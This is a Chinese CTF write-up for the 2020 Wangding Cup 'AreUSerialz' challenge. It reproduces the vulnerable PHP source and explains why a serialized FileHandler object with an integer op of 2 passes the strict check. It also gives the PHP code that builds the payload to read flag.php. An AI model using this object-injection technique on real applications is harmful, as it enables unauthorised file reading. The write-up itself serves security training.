[网鼎杯 2020 青龙组]AreUSerialz
1.将源代码放到本地php
环境中进行调试
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
2.解题思路
1.通过GET方式进行传参,传给变量str;
2.通过is_valid()函数判断进来的数据大于等于32并且小于等于125;
3.通过反序列化将str的字符串转换成对象。 我们想成功读取文件flag.php的话,需要判断以下条件 (1)我们在写保护的函数中,需要满足的条件是变量content不能大于100; (2)要想触发写保护的话,需要满足的条件是public
function process() 中的op == “1”; (3)要想到写保护的话,需要触发__construct函数
(4)__construfct函数,构造函数,当创建对象时自动调用
4.根据上述代码分析,当$op值强比较=\==不等于str(2),弱比较==等于2
(\$this->op === "2")//不等于字符串类型的 2
(\$this->op == "2") //弱等于2 即可为int(2)
3.所以触发__destruct()
方法也没关系,正常构造即可
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op = '1'; //这里有问题,后面会讲述到
protected $filename = 'flag.php';
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
$test = new FileHandler;
var_dump(urlencode(serialize($test)));
4.通过URL
解码,我们发现了在属性op
和filename
前面有乱码
5.使用十六进制进行和查看,可以看到%00%2A%00
,因为op
和filename
是protected
的属性,
在序列化的过程中会被转换成%00*%00
,然而浏览器会将%00
当成空值,因此无法获得flag
6.我还以为抓包就能绕过这题,但是思路错了,使用bp
或者yakit
进行传参后面发现这种方法不得行
7.只能利用php7
的版本对属性的不敏感绕过,需要纠正前面payload
的错,op
的应该是整型,及int()
的类型,正确的payload
如下所示
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
public $op = 2;
public $filename = 'flag.php';
}
$test = new FileHandler;
//var_dump(serialize($test));
var_dump(serialize($test));
8.查看源代码,即可获得flag